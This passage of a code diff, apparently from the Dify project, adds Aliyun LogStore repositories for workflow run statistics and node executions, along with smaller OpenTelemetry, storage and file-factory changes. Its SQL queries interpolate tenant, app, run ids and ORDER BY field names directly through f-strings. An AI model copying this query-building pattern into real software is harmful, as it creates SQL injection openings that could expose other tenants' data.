+            running_results = self.logstore_client.execute_sql(
+                sql=running_sql, query="*", logstore=AliyunLogStore.workflow_execution_logstore
+            )
+
+            # Build response
+            status_counts = {
+                "running": 0,
+                "succeeded": 0,
+                "failed": 0,
+                "stopped": 0,
+                "partial-succeeded": 0,
+            }
+
+            total = 0
+            for result in finished_results:
+                status_val = result.get("status")
+                count = result.get("count", 0)
+                if status_val in status_counts:
+                    status_counts[status_val] = count
+                    total += count
+
+            # Add running count
+            running_count = running_results[0]["count"] if running_results and len(running_results) > 0 else 0
+            status_counts["running"] = running_count
+            total += running_count
+
+            return {"total": total} | status_counts
+
+        except Exception:
+            logger.exception("Failed to get workflow runs count")
+            raise
+
+    def get_daily_runs_statistics(
+        self,
+        tenant_id: str,
+        app_id: str,
+        triggered_from: str,
+        start_date: datetime | None = None,
+        end_date: datetime | None = None,
+        timezone: str = "UTC",
+    ) -> list[DailyRunsStats]:
+        """
+        Get daily runs statistics using optimized query.
+
+        Optimization: Use finished_at IS NOT NULL + COUNT(DISTINCT id) (20-100x faster)
+        """
+        logger.debug(
+            "get_daily_runs_statistics: tenant_id=%s, app_id=%s, triggered_from=%s", tenant_id, app_id, triggered_from
+        )
+        # Build time range filter
+        time_filter = ""
+        if start_date:
+            time_filter += f" AND __time__ >= to_unixtime(from_iso8601_timestamp('{start_date.isoformat()}'))"
+        if end_date:
+            time_filter += f" AND __time__ < to_unixtime(from_iso8601_timestamp('{end_date.isoformat()}'))"
+
+        # Optimized query: Use finished_at filter to avoid window function
+        sql = f"""
+            SELECT DATE(from_unixtime(__time__)) as date, COUNT(DISTINCT id) as runs
+            FROM {AliyunLogStore.workflow_execution_logstore}
+            WHERE tenant_id='{tenant_id}'
+              AND app_id='{app_id}'
+              AND triggered_from='{triggered_from}'
+              AND finished_at IS NOT NULL
+              {time_filter}
+            GROUP BY date
+            ORDER BY date
+        """
+
+        try:
+            results = self.logstore_client.execute_sql(
+                sql=sql, query="*", logstore=AliyunLogStore.workflow_execution_logstore
+            )
+
+            response_data = []
+            for row in results:
+                response_data.append({"date": str(row.get("date", "")), "runs": row.get("runs", 0)})
+
+            return cast(list[DailyRunsStats], response_data)
+
+        except Exception:
+            logger.exception("Failed to get daily runs statistics")
+            raise
+
+    def get_daily_terminals_statistics(
+        self,
+        tenant_id: str,
+        app_id: str,
+        triggered_from: str,
+        start_date: datetime | None = None,
+        end_date: datetime | None = None,
+        timezone: str = "UTC",
+    ) -> list[DailyTerminalsStats]:
+        """
+        Get daily terminals statistics using optimized query.
+
+        Optimization: Use finished_at IS NOT NULL + COUNT(DISTINCT created_by) (20-100x faster)
+        """
+        logger.debug(
+            "get_daily_terminals_statistics: tenant_id=%s, app_id=%s, triggered_from=%s",
+            tenant_id,
+            app_id,
+            triggered_from,
+        )
+        # Build time range filter
+        time_filter = ""
+        if start_date:
+            time_filter += f" AND __time__ >= to_unixtime(from_iso8601_timestamp('{start_date.isoformat()}'))"
+        if end_date:
+            time_filter += f" AND __time__ < to_unixtime(from_iso8601_timestamp('{end_date.isoformat()}'))"
+
+        sql = f"""
+            SELECT DATE(from_unixtime(__time__)) as date, COUNT(DISTINCT created_by) as terminal_count
+            FROM {AliyunLogStore.workflow_execution_logstore}
+            WHERE tenant_id='{tenant_id}'
+              AND app_id='{app_id}'
+              AND triggered_from='{triggered_from}'
+              AND finished_at IS NOT NULL
+              {time_filter}
+            GROUP BY date
+            ORDER BY date
+        """
+
+        try:
+            results = self.logstore_client.execute_sql(
+                sql=sql, query="*", logstore=AliyunLogStore.workflow_execution_logstore
+            )
+
+            response_data = []
+            for row in results:
+                response_data.append({"date": str(row.get("date", "")), "terminal_count": row.get("terminal_count", 0)})
+
+            return cast(list[DailyTerminalsStats], response_data)
+
+        except Exception:
+            logger.exception("Failed to get daily terminals statistics")
+            raise
+
+    def get_daily_token_cost_statistics(
+        self,
+        tenant_id: str,
+        app_id: str,
+        triggered_from: str,
+        start_date: datetime | None = None,
+        end_date: datetime | None = None,
+        timezone: str = "UTC",
+    ) -> list[DailyTokenCostStats]:
+        """
+        Get daily token cost statistics using optimized query.
+
+        Optimization: Use finished_at IS NOT NULL + SUM(total_tokens) (20-100x faster)
+        """
+        logger.debug(
+            "get_daily_token_cost_statistics: tenant_id=%s, app_id=%s, triggered_from=%s",
+            tenant_id,
+            app_id,
+            triggered_from,
+        )
+        # Build time range filter
+        time_filter = ""
+        if start_date:
+            time_filter += f" AND __time__ >= to_unixtime(from_iso8601_timestamp('{start_date.isoformat()}'))"
+        if end_date:
+            time_filter += f" AND __time__ < to_unixtime(from_iso8601_timestamp('{end_date.isoformat()}'))"
+
+        sql = f"""
+            SELECT DATE(from_unixtime(__time__)) as date, SUM(total_tokens) as token_count
+            FROM {AliyunLogStore.workflow_execution_logstore}
+            WHERE tenant_id='{tenant_id}'
+              AND app_id='{app_id}'
+              AND triggered_from='{triggered_from}'
+              AND finished_at IS NOT NULL
+              {time_filter}
+            GROUP BY date
+            ORDER BY date
+        """
+
+        try:
+            results = self.logstore_client.execute_sql(
+                sql=sql, query="*", logstore=AliyunLogStore.workflow_execution_logstore
+            )
+
+            response_data = []
+            for row in results:
+                response_data.append({"date": str(row.get("date", "")), "token_count": row.get("token_count", 0)})
+
+            return cast(list[DailyTokenCostStats], response_data)
+
+        except Exception:
+            logger.exception("Failed to get daily token cost statistics")
+            raise
+
+    def get_average_app_interaction_statistics(
+        self,
+        tenant_id: str,
+        app_id: str,
+        triggered_from: str,
+        start_date: datetime | None = None,
+        end_date: datetime | None = None,
+        timezone: str = "UTC",
+    ) -> list[AverageInteractionStats]:
+        """
+        Get average app interaction statistics using optimized query.
+
+        Optimization: Use finished_at IS NOT NULL + AVG (20-100x faster)
+        """
+        logger.debug(
+            "get_average_app_interaction_statistics: tenant_id=%s, app_id=%s, triggered_from=%s",
+            tenant_id,
+            app_id,
+            triggered_from,
+        )
+        # Build time range filter
+        time_filter = ""
+        if start_date:
+            time_filter += f" AND __time__ >= to_unixtime(from_iso8601_timestamp('{start_date.isoformat()}'))"
+        if end_date:
+            time_filter += f" AND __time__ < to_unixtime(from_iso8601_timestamp('{end_date.isoformat()}'))"
+
+        sql = f"""
+            SELECT
+                AVG(sub.interactions) AS interactions,
+                sub.date
+            FROM (
+                SELECT
+                    DATE(from_unixtime(__time__)) AS date,
+                    created_by,
+                    COUNT(DISTINCT id) AS interactions
+                FROM {AliyunLogStore.workflow_execution_logstore}
+                WHERE tenant_id='{tenant_id}'
+                  AND app_id='{app_id}'
+                  AND triggered_from='{triggered_from}'
+                  AND finished_at IS NOT NULL
+                  {time_filter}
+                GROUP BY date, created_by
+            ) sub
+            GROUP BY sub.date
+        """
+
+        try:
+            results = self.logstore_client.execute_sql(
+                sql=sql, query="*", logstore=AliyunLogStore.workflow_execution_logstore
+            )
+
+            response_data = []
+            for row in results:
+                response_data.append(
+                    {
+                        "date": str(row.get("date", "")),
+                        "interactions": float(row.get("interactions", 0)),
+                    }
+                )
+
+            return cast(list[AverageInteractionStats], response_data)
+
+        except Exception:
+            logger.exception("Failed to get average app interaction statistics")
+            raise
diff --git a/api/extensions/logstore/repositories/logstore_workflow_execution_repository.py b/api/extensions/logstore/repositories/logstore_workflow_execution_repository.py
new file mode 100644
index 0000000000..6e6631cfef
--- /dev/null
+++ b/api/extensions/logstore/repositories/logstore_workflow_execution_repository.py
@@ -0,0 +1,164 @@
+import json
+import logging
+import os
+import time
+from typing import Union
+
+from sqlalchemy.engine import Engine
+from sqlalchemy.orm import sessionmaker
+
+from core.repositories.sqlalchemy_workflow_execution_repository import SQLAlchemyWorkflowExecutionRepository
+from core.workflow.entities import WorkflowExecution
+from core.workflow.repositories.workflow_execution_repository import WorkflowExecutionRepository
+from extensions.logstore.aliyun_logstore import AliyunLogStore
+from libs.helper import extract_tenant_id
+from models import (
+    Account,
+    CreatorUserRole,
+    EndUser,
+)
+from models.enums import WorkflowRunTriggeredFrom
+
+logger = logging.getLogger(__name__)
+
+
+class LogstoreWorkflowExecutionRepository(WorkflowExecutionRepository):
+    def __init__(
+        self,
+        session_factory: sessionmaker | Engine,
+        user: Union[Account, EndUser],
+        app_id: str | None,
+        triggered_from: WorkflowRunTriggeredFrom | None,
+    ):
+        """
+        Initialize the repository with a SQLAlchemy sessionmaker or engine and context information.
+
+        Args:
+            session_factory: SQLAlchemy sessionmaker or engine for creating sessions
+            user: Account or EndUser object containing tenant_id, user ID, and role information
+            app_id: App ID for filtering by application (can be None)
+            triggered_from: Source of the execution trigger (DEBUGGING or APP_RUN)
+        """
+        logger.debug(
+            "LogstoreWorkflowExecutionRepository.__init__: app_id=%s, triggered_from=%s", app_id, triggered_from
+        )
+        # Initialize LogStore client
+        # Note: Project/logstore/index initialization is done at app startup via ext_logstore
+        self.logstore_client = AliyunLogStore()
+
+        # Extract tenant_id from user
+        tenant_id = extract_tenant_id(user)
+        if not tenant_id:
+            raise ValueError("User must have a tenant_id or current_tenant_id")
+        self._tenant_id = tenant_id
+
+        # Store app context
+        self._app_id = app_id
+
+        # Extract user context
+        self._triggered_from = triggered_from
+        self._creator_user_id = user.id
+
+        # Determine user role based on user type
+        self._creator_user_role = CreatorUserRole.ACCOUNT if isinstance(user, Account) else CreatorUserRole.END_USER
+
+        # Initialize SQL repository for dual-write support
+        self.sql_repository = SQLAlchemyWorkflowExecutionRepository(session_factory, user, app_id, triggered_from)
+
+        # Control flag for dual-write (write to both LogStore and SQL database)
+        # Set to True to enable dual-write for safe migration, False to use LogStore only
+        self._enable_dual_write = os.environ.get("LOGSTORE_DUAL_WRITE_ENABLED", "true").lower() == "true"
+
+    def _to_logstore_model(self, domain_model: WorkflowExecution) -> list[tuple[str, str]]:
+        """
+        Convert a domain model to a logstore model (List[Tuple[str, str]]).
+
+        Args:
+            domain_model: The domain model to convert
+
+        Returns:
+            The logstore model as a list of key-value tuples
+        """
+        logger.debug(
+            "_to_logstore_model: id=%s, workflow_id=%s, status=%s",
+            domain_model.id_,
+            domain_model.workflow_id,
+            domain_model.status.value,
+        )
+        # Use values from constructor if provided
+        if not self._triggered_from:
+            raise ValueError("triggered_from is required in repository constructor")
+        if not self._creator_user_id:
+            raise ValueError("created_by is required in repository constructor")
+        if not self._creator_user_role:
+            raise ValueError("created_by_role is required in repository constructor")
+
+        # Generate log_version as nanosecond timestamp for record versioning
+        log_version = str(time.time_ns())
+
+        logstore_model = [
+            ("id", domain_model.id_),
+            ("log_version", log_version),  # Add log_version field for append-only writes
+            ("tenant_id", self._tenant_id),
+            ("app_id", self._app_id or ""),
+            ("workflow_id", domain_model.workflow_id),
+            (
+                "triggered_from",
+                self._triggered_from.value if hasattr(self._triggered_from, "value") else str(self._triggered_from),
+            ),
+            ("type", domain_model.workflow_type.value),
+            ("version", domain_model.workflow_version),
+            ("graph", json.dumps(domain_model.graph, ensure_ascii=False) if domain_model.graph else "{}"),
+            ("inputs", json.dumps(domain_model.inputs, ensure_ascii=False) if domain_model.inputs else "{}"),
+            ("outputs", json.dumps(domain_model.outputs, ensure_ascii=False) if domain_model.outputs else "{}"),
+            ("status", domain_model.status.value),
+            ("error_message", domain_model.error_message or ""),
+            ("total_tokens", str(domain_model.total_tokens)),
+            ("total_steps", str(domain_model.total_steps)),
+            ("exceptions_count", str(domain_model.exceptions_count)),
+            (
+                "created_by_role",
+                self._creator_user_role.value
+                if hasattr(self._creator_user_role, "value")
+                else str(self._creator_user_role),
+            ),
+            ("created_by", self._creator_user_id),
+            ("started_at", domain_model.started_at.isoformat() if domain_model.started_at else ""),
+            ("finished_at", domain_model.finished_at.isoformat() if domain_model.finished_at else ""),
+        ]
+
+        return logstore_model
+
+    def save(self, execution: WorkflowExecution) -> None:
+        """
+        Save or update a WorkflowExecution domain entity to the logstore.
+
+        This method serves as a domain-to-logstore adapter that:
+        1. Converts the domain entity to its logstore representation
+        2. Persists the logstore model using Aliyun SLS
+        3. Maintains proper multi-tenancy by including tenant context during conversion
+        4. Optionally writes to SQL database for dual-write support (controlled by LOGSTORE_DUAL_WRITE_ENABLED)
+
+        Args:
+            execution: The WorkflowExecution domain entity to persist
+        """
+        logger.debug(
+            "save: id=%s, workflow_id=%s, status=%s", execution.id_, execution.workflow_id, execution.status.value
+        )
+        try:
+            logstore_model = self._to_logstore_model(execution)
+            self.logstore_client.put_log(AliyunLogStore.workflow_execution_logstore, logstore_model)
+
+            logger.debug("Saved workflow execution to logstore: id=%s", execution.id_)
+        except Exception:
+            logger.exception("Failed to save workflow execution to logstore: id=%s", execution.id_)
+            raise
+
+        # Dual-write to SQL database if enabled (for safe migration)
+        if self._enable_dual_write:
+            try:
+                self.sql_repository.save(execution)
+                logger.debug("Dual-write: saved workflow execution to SQL database: id=%s", execution.id_)
+            except Exception:
+                logger.exception("Failed to dual-write workflow execution to SQL database: id=%s", execution.id_)
+                # Don't raise - LogStore write succeeded, SQL is just a backup
diff --git a/api/extensions/logstore/repositories/logstore_workflow_node_execution_repository.py b/api/extensions/logstore/repositories/logstore_workflow_node_execution_repository.py
new file mode 100644
index 0000000000..400a089516
--- /dev/null
+++ b/api/extensions/logstore/repositories/logstore_workflow_node_execution_repository.py
@@ -0,0 +1,366 @@
+"""
+LogStore implementation of the WorkflowNodeExecutionRepository.
+
+This module provides a LogStore-based repository for WorkflowNodeExecution entities,
+using Aliyun SLS LogStore with append-only writes and version control.
+"""
+
+import json
+import logging
+import os
+import time
+from collections.abc import Sequence
+from datetime import datetime
+from typing import Any, Union
+
+from sqlalchemy.engine import Engine
+from sqlalchemy.orm import sessionmaker
+
+from core.model_runtime.utils.encoders import jsonable_encoder
+from core.repositories import SQLAlchemyWorkflowNodeExecutionRepository
+from core.workflow.entities import WorkflowNodeExecution
+from core.workflow.entities.workflow_node_execution import WorkflowNodeExecutionMetadataKey, WorkflowNodeExecutionStatus
+from core.workflow.enums import NodeType
+from core.workflow.repositories.workflow_node_execution_repository import OrderConfig, WorkflowNodeExecutionRepository
+from core.workflow.workflow_type_encoder import WorkflowRuntimeTypeConverter
+from extensions.logstore.aliyun_logstore import AliyunLogStore
+from libs.helper import extract_tenant_id
+from models import (
+    Account,
+    CreatorUserRole,
+    EndUser,
+    WorkflowNodeExecutionTriggeredFrom,
+)
+
+logger = logging.getLogger(__name__)
+
+
+def _dict_to_workflow_node_execution(data: dict[str, Any]) -> WorkflowNodeExecution:
+    """
+    Convert LogStore result dictionary to WorkflowNodeExecution domain model.
+
+    Args:
+        data: Dictionary from LogStore query result
+
+    Returns:
+        WorkflowNodeExecution domain model instance
+    """
+    logger.debug("_dict_to_workflow_node_execution: data keys=%s", list(data.keys())[:5])
+    # Parse JSON fields
+    inputs = json.loads(data.get("inputs", "{}"))
+    process_data = json.loads(data.get("process_data", "{}"))
+    outputs = json.loads(data.get("outputs", "{}"))
+    metadata = json.loads(data.get("execution_metadata", "{}"))
+
+    # Convert metadata to domain enum keys
+    domain_metadata = {}
+    for k, v in metadata.items():
+        try:
+            domain_metadata[WorkflowNodeExecutionMetadataKey(k)] = v
+        except ValueError:
+            # Skip invalid metadata keys
+            continue
+
+    # Convert status to domain enum
+    status = WorkflowNodeExecutionStatus(data.get("status", "running"))
+
+    # Parse datetime fields
+    created_at = datetime.fromisoformat(data.get("created_at", "")) if data.get("created_at") else datetime.now()
+    finished_at = datetime.fromisoformat(data.get("finished_at", "")) if data.get("finished_at") else None
+
+    return WorkflowNodeExecution(
+        id=data.get("id", ""),
+        node_execution_id=data.get("node_execution_id"),
+        workflow_id=data.get("workflow_id", ""),
+        workflow_execution_id=data.get("workflow_run_id"),
+        index=int(data.get("index", 0)),
+        predecessor_node_id=data.get("predecessor_node_id"),
+        node_id=data.get("node_id", ""),
+        node_type=NodeType(data.get("node_type", "start")),
+        title=data.get("title", ""),
+        inputs=inputs,
+        process_data=process_data,
+        outputs=outputs,
+        status=status,
+        error=data.get("error"),
+        elapsed_time=float(data.get("elapsed_time", 0.0)),
+        metadata=domain_metadata,
+        created_at=created_at,
+        finished_at=finished_at,
+    )
+
+
+class LogstoreWorkflowNodeExecutionRepository(WorkflowNodeExecutionRepository):
+    """
+    LogStore implementation of the WorkflowNodeExecutionRepository interface.
+
+    This implementation uses Aliyun SLS LogStore with an append-only write strategy:
+    - Each save() operation appends a new record with a version timestamp
+    - Updates are simulated by writing new records with higher version numbers
+    - Queries retrieve the latest version using finished_at IS NOT NULL filter
+    - Multi-tenancy is maintained through tenant_id filtering
+
+    Version Strategy:
+        version = time.time_ns()  # Nanosecond timestamp for unique ordering
+    """
+
+    def __init__(
+        self,
+        session_factory: sessionmaker | Engine,
+        user: Union[Account, EndUser],
+        app_id: str | None,
+        triggered_from: WorkflowNodeExecutionTriggeredFrom | None,
+    ):
+        """
+        Initialize the repository with a SQLAlchemy sessionmaker or engine and context information.
+
+        Args:
+            session_factory: SQLAlchemy sessionmaker or engine for creating sessions
+            user: Account or EndUser object containing tenant_id, user ID, and role information
+            app_id: App ID for filtering by application (can be None)
+            triggered_from: Source of the execution trigger (SINGLE_STEP or WORKFLOW_RUN)
+        """
+        logger.debug(
+            "LogstoreWorkflowNodeExecutionRepository.__init__: app_id=%s, triggered_from=%s", app_id, triggered_from
+        )
+        # Initialize LogStore client
+        self.logstore_client = AliyunLogStore()
+
+        # Extract tenant_id from user
+        tenant_id = extract_tenant_id(user)
+        if not tenant_id:
+            raise ValueError("User must have a tenant_id or current_tenant_id")
+        self._tenant_id = tenant_id
+
+        # Store app context
+        self._app_id = app_id
+
+        # Extract user context
+        self._triggered_from = triggered_from
+        self._creator_user_id = user.id
+
+        # Determine user role based on user type
+        self._creator_user_role = CreatorUserRole.ACCOUNT if isinstance(user, Account) else CreatorUserRole.END_USER
+
+        # Initialize SQL repository for dual-write support
+        self.sql_repository = SQLAlchemyWorkflowNodeExecutionRepository(session_factory, user, app_id, triggered_from)
+
+        # Control flag for dual-write (write to both LogStore and SQL database)
+        # Set to True to enable dual-write for safe migration, False to use LogStore only
+        self._enable_dual_write = os.environ.get("LOGSTORE_DUAL_WRITE_ENABLED", "true").lower() == "true"
+
+    def _to_logstore_model(self, domain_model: WorkflowNodeExecution) -> Sequence[tuple[str, str]]:
+        logger.debug(
+            "_to_logstore_model: id=%s, node_id=%s, status=%s",
+            domain_model.id,
+            domain_model.node_id,
+            domain_model.status.value,
+        )
+        if not self._triggered_from:
+            raise ValueError("triggered_from is required in repository constructor")
+        if not self._creator_user_id:
+            raise ValueError("created_by is required in repository constructor")
+        if not self._creator_user_role:
+            raise ValueError("created_by_role is required in repository constructor")
+
+        # Generate log_version as nanosecond timestamp for record versioning
+        log_version = str(time.time_ns())
+
+        json_converter = WorkflowRuntimeTypeConverter()
+
+        logstore_model = [
+            ("id", domain_model.id),
+            ("log_version", log_version),  # Add log_version field for append-only writes
+            ("tenant_id", self._tenant_id),
+            ("app_id", self._app_id or ""),
+            ("workflow_id", domain_model.workflow_id),
+            (
+                "triggered_from",
+                self._triggered_from.value if hasattr(self._triggered_from, "value") else str(self._triggered_from),
+            ),
+            ("workflow_run_id", domain_model.workflow_execution_id or ""),
+            ("index", str(domain_model.index)),
+            ("predecessor_node_id", domain_model.predecessor_node_id or ""),
+            ("node_execution_id", domain_model.node_execution_id or ""),
+            ("node_id", domain_model.node_id),
+            ("node_type", domain_model.node_type.value),
+            ("title", domain_model.title),
+            (
+                "inputs",
+                json.dumps(json_converter.to_json_encodable(domain_model.inputs), ensure_ascii=False)
+                if domain_model.inputs
+                else "{}",
+            ),
+            (
+                "process_data",
+                json.dumps(json_converter.to_json_encodable(domain_model.process_data), ensure_ascii=False)
+                if domain_model.process_data
+                else "{}",
+            ),
+            (
+                "outputs",
+                json.dumps(json_converter.to_json_encodable(domain_model.outputs), ensure_ascii=False)
+                if domain_model.outputs
+                else "{}",
+            ),
+            ("status", domain_model.status.value),
+            ("error", domain_model.error or ""),
+            ("elapsed_time", str(domain_model.elapsed_time)),
+            (
+                "execution_metadata",
+                json.dumps(jsonable_encoder(domain_model.metadata), ensure_ascii=False)
+                if domain_model.metadata
+                else "{}",
+            ),
+            ("created_at", domain_model.created_at.isoformat() if domain_model.created_at else ""),
+            ("created_by_role", self._creator_user_role.value),
+            ("created_by", self._creator_user_id),
+            ("finished_at", domain_model.finished_at.isoformat() if domain_model.finished_at else ""),
+        ]
+
+        return logstore_model
+
+    def save(self, execution: WorkflowNodeExecution) -> None:
+        """
+        Save or update a NodeExecution domain entity to LogStore.
+
+        This method serves as a domain-to-logstore adapter that:
+        1. Converts the domain entity to its logstore representation
+        2. Appends a new record with a log_version timestamp
+        3. Maintains proper multi-tenancy by including tenant context during conversion
+        4. Optionally writes to SQL database for dual-write support (controlled by LOGSTORE_DUAL_WRITE_ENABLED)
+
+        Each save operation creates a new record. Updates are simulated by writing
+        new records with higher log_version numbers.
+
+        Args:
+            execution: The NodeExecution domain entity to persist
+        """
+        logger.debug(
+            "save: id=%s, node_execution_id=%s, status=%s",
+            execution.id,
+            execution.node_execution_id,
+            execution.status.value,
+        )
+        try:
+            logstore_model = self._to_logstore_model(execution)
+            self.logstore_client.put_log(AliyunLogStore.workflow_node_execution_logstore, logstore_model)
+
+            logger.debug(
+                "Saved node execution to LogStore: id=%s, node_execution_id=%s, status=%s",
+                execution.id,
+                execution.node_execution_id,
+                execution.status.value,
+            )
+        except Exception:
+            logger.exception(
+                "Failed to save node execution to LogStore: id=%s, node_execution_id=%s",
+                execution.id,
+                execution.node_execution_id,
+            )
+            raise
+
+        # Dual-write to SQL database if enabled (for safe migration)
+        if self._enable_dual_write:
+            try:
+                self.sql_repository.save(execution)
+                logger.debug("Dual-write: saved node execution to SQL database: id=%s", execution.id)
+            except Exception:
+                logger.exception("Failed to dual-write node execution to SQL database: id=%s", execution.id)
+                # Don't raise - LogStore write succeeded, SQL is just a backup
+
+    def save_execution_data(self, execution: WorkflowNodeExecution) -> None:
+        """
+        Save or update the inputs, process_data, or outputs associated with a specific
+        node_execution record.
+
+        For LogStore implementation, this is similar to save() since we always write
+        complete records. We append a new record with updated data fields.
+
+        Args:
+            execution: The NodeExecution instance with data to save
+        """
+        logger.debug("save_execution_data: id=%s, node_execution_id=%s", execution.id, execution.node_execution_id)
+        # In LogStore, we simply write a new complete record with the data
+        # The log_version timestamp will ensure this is treated as the latest version
+        self.save(execution)
+
+    def get_by_workflow_run(
+        self,
+        workflow_run_id: str,
+        order_config: OrderConfig | None = None,
+    ) -> Sequence[WorkflowNodeExecution]:
+        """
+        Retrieve all NodeExecution instances for a specific workflow run.
+        Uses LogStore SQL query with finished_at IS NOT NULL filter for deduplication.
+        This ensures we only get the final version of each node execution.
+        Args:
+            workflow_run_id: The workflow run ID
+            order_config: Optional configuration for ordering results
+                order_config.order_by: List of fields to order by (e.g., ["index", "created_at"])
+                order_config.order_direction: Direction to order ("asc" or "desc")
+
+        Returns:
+            A list of NodeExecution instances
+
+        Note:
+            This method filters by finished_at IS NOT NULL to avoid duplicates from
+            version updates. For complete history including intermediate states,
+            a different query strategy would be needed.
+        """
+        logger.debug("get_by_workflow_run: workflow_run_id=%s, order_config=%s", workflow_run_id, order_config)
+        # Build SQL query with deduplication using finished_at IS NOT NULL
+        # This optimization avoids window functions for common case where we only
+        # want the final state of each node execution
+
+        # Build ORDER BY clause
+        order_clause = ""
+        if order_config and order_config.order_by:
+            order_fields = []
+            for field in order_config.order_by:
+                # Map domain field names to logstore field names if needed
+                field_name = field
+                if order_config.order_direction == "desc":
+                    order_fields.append(f"{field_name} DESC")
+                else:
+                    order_fields.append(f"{field_name} ASC")
+            if order_fields:
+                order_clause = "ORDER BY " + ", ".join(order_fields)
+
+        sql = f"""
+            SELECT *
+            FROM {AliyunLogStore.workflow_node_execution_logstore}
+            WHERE workflow_run_id='{workflow_run_id}'
+              AND tenant_id='{self._tenant_id}'
+              AND finished_at IS NOT NULL
+        """
+
+        if self._app_id:
+            sql += f" AND app_id='{self._app_id}'"
+
+        if order_clause:
+            sql += f" {order_clause}"
+
+        try:
+            # Execute SQL query
+            results = self.logstore_client.execute_sql(
+                sql=sql,
+                query="*",
+                logstore=AliyunLogStore.workflow_node_execution_logstore,
+            )
+
+            # Convert LogStore results to WorkflowNodeExecution domain models
+            executions = []
+            for row in results:
+                try:
+                    execution = _dict_to_workflow_node_execution(row)
+                    executions.append(execution)
+                except Exception as e:
+                    logger.warning("Failed to convert row to WorkflowNodeExecution: %s, row=%s", e, row)
+                    continue
+
+            return executions
+
+        except Exception:
+            logger.exception("Failed to retrieve node executions from LogStore: workflow_run_id=%s", workflow_run_id)
+            raise
diff --git a/api/extensions/otel/decorators/base.py b/api/extensions/otel/decorators/base.py
index 9604a3b6d5..14221d24dd 100644
--- a/api/extensions/otel/decorators/base.py
+++ b/api/extensions/otel/decorators/base.py
@@ -1,5 +1,4 @@
 import functools
-import os
 from collections.abc import Callable
 from typing import Any, TypeVar, cast
 
@@ -7,22 +6,13 @@ from opentelemetry.trace import get_tracer
 
 from configs import dify_config
 from extensions.otel.decorators.handler import SpanHandler
+from extensions.otel.runtime import is_instrument_flag_enabled
 
 T = TypeVar("T", bound=Callable[..., Any])
 
 _HANDLER_INSTANCES: dict[type[SpanHandler], SpanHandler] = {SpanHandler: SpanHandler()}
 
 
-def _is_instrument_flag_enabled() -> bool:
-    """
-    Check if external instrumentation is enabled via environment variable.
-
-    Third-party non-invasive instrumentation agents set this flag to coordinate
-    with Dify's manual OpenTelemetry instrumentation.
-    """
-    return os.getenv("ENABLE_OTEL_FOR_INSTRUMENT", "").strip().lower() == "true"
-
-
 def _get_handler_instance(handler_class: type[SpanHandler]) -> SpanHandler:
     """Get or create a singleton instance of the handler class."""
     if handler_class not in _HANDLER_INSTANCES:
@@ -43,7 +33,7 @@ def trace_span(handler_class: type[SpanHandler] | None = None) -> Callable[[T],
     def decorator(func: T) -> T:
         @functools.wraps(func)
         def wrapper(*args: Any, **kwargs: Any) -> Any:
-            if not (dify_config.ENABLE_OTEL or _is_instrument_flag_enabled()):
+            if not (dify_config.ENABLE_OTEL or is_instrument_flag_enabled()):
                 return func(*args, **kwargs)
 
             handler = _get_handler_instance(handler_class or SpanHandler)
diff --git a/api/extensions/otel/runtime.py b/api/extensions/otel/runtime.py
index 16f5ccf488..a7181d2683 100644
--- a/api/extensions/otel/runtime.py
+++ b/api/extensions/otel/runtime.py
@@ -1,4 +1,5 @@
 import logging
+import os
 import sys
 from typing import Union
 
@@ -71,3 +72,13 @@ def init_celery_worker(*args, **kwargs):
         if dify_config.DEBUG:
             logger.info("Initializing OpenTelemetry for Celery worker")
         CeleryInstrumentor(tracer_provider=tracer_provider, meter_provider=metric_provider).instrument()
+
+
+def is_instrument_flag_enabled() -> bool:
+    """
+    Check if external instrumentation is enabled via environment variable.
+
+    Third-party non-invasive instrumentation agents set this flag to coordinate
+    with Dify's manual OpenTelemetry instrumentation.
+    """
+    return os.getenv("ENABLE_OTEL_FOR_INSTRUMENT", "").strip().lower() == "true"
diff --git a/api/extensions/storage/opendal_storage.py b/api/extensions/storage/opendal_storage.py
index a084844d72..83c5c2d12f 100644
--- a/api/extensions/storage/opendal_storage.py
+++ b/api/extensions/storage/opendal_storage.py
@@ -87,15 +87,16 @@ class OpenDALStorage(BaseStorage):
         if not self.exists(path):
             raise FileNotFoundError("Path not found")
 
-        all_files = self.op.scan(path=path)
+        # Use the new OpenDAL 0.46.0+ API with recursive listing
+        lister = self.op.list(path, recursive=True)
         if files and directories:
             logger.debug("files and directories on %s scanned", path)
-            return [f.path for f in all_files]
+            return [entry.path for entry in lister]
         if files:
             logger.debug("files on %s scanned", path)
-            return [f.path for f in all_files if not f.path.endswith("/")]
+            return [entry.path for entry in lister if not entry.metadata.is_dir]
         elif directories:
             logger.debug("directories on %s scanned", path)
-            return [f.path for f in all_files if f.path.endswith("/")]
+            return [entry.path for entry in lister if entry.metadata.is_dir]
         else:
             raise ValueError("At least one of files or directories must be True")
diff --git a/api/factories/file_factory.py b/api/factories/file_factory.py
index 737a79f2b0..bd71f18af2 100644
--- a/api/factories/file_factory.py
+++ b/api/factories/file_factory.py
@@ -1,3 +1,4 @@
+import logging
 import mimetypes
 import os
 import re
@@ -17,6 +18,8 @@ from core.helper import ssrf_proxy
 from extensions.ext_database import db
 from models import MessageFile, ToolFile, UploadFile
 
+logger = logging.getLogger(__name__)
+
 
 def build_from_message_files(
     *,
@@ -356,15 +359,20 @@ def _build_from_tool_file(
     transfer_method: FileTransferMethod,
     strict_type_validation: bool = False,
 ) -> File:
+    # Backward/interop compatibility: allow tool_file_id to come from related_id or URL
+    tool_file_id = mapping.get("tool_file_id")
+
+    if not tool_file_id:
+        raise ValueError(f"ToolFile {tool_file_id} not found")
     tool_file = db.session.scalar(
         select(ToolFile).where(
-            ToolFile.id == mapping.get("tool_file_id"),
+            ToolFile.id == tool_file_id,
             ToolFile.tenant_id == tenant_id,
         )
     )
 
     if tool_file is None:
-        raise ValueError(f"ToolFile {mapping.get('tool_file_id')} not found")
+        raise ValueError(f"ToolFile {tool_file_id} not found")
 
     extension = "." + tool_file.file_key.split(".")[-1] if "." in tool_file.file_key else ".bin"
 
@@ -402,10 +410,13 @@ def _build_from_datasource_file(
     transfer_method: FileTransferMethod,
     strict_type_validation: bool = False,
 ) -> File:
+    datasource_file_id = mapping.get("datasource_file_id")
+    if not datasource_file_id:
+        raise ValueError(f"DatasourceFile {datasource_file_id} not found")
     datasource_file = (
         db.session.query(UploadFile)
         .where(
-            UploadFile.id == mapping.get("datasource_file_id"),
+            UploadFile.id == datasource_file_id,
             UploadFile.tenant_id == tenant_id,
         )
         .first()
diff --git a/api/libs/encryption.py b/api/libs/encryption.py
new file mode 100644
index 0000000000..81be8cce97
--- /dev/null
+++ b/api/libs/encryption.py
@@ -0,0 +1,66 @@
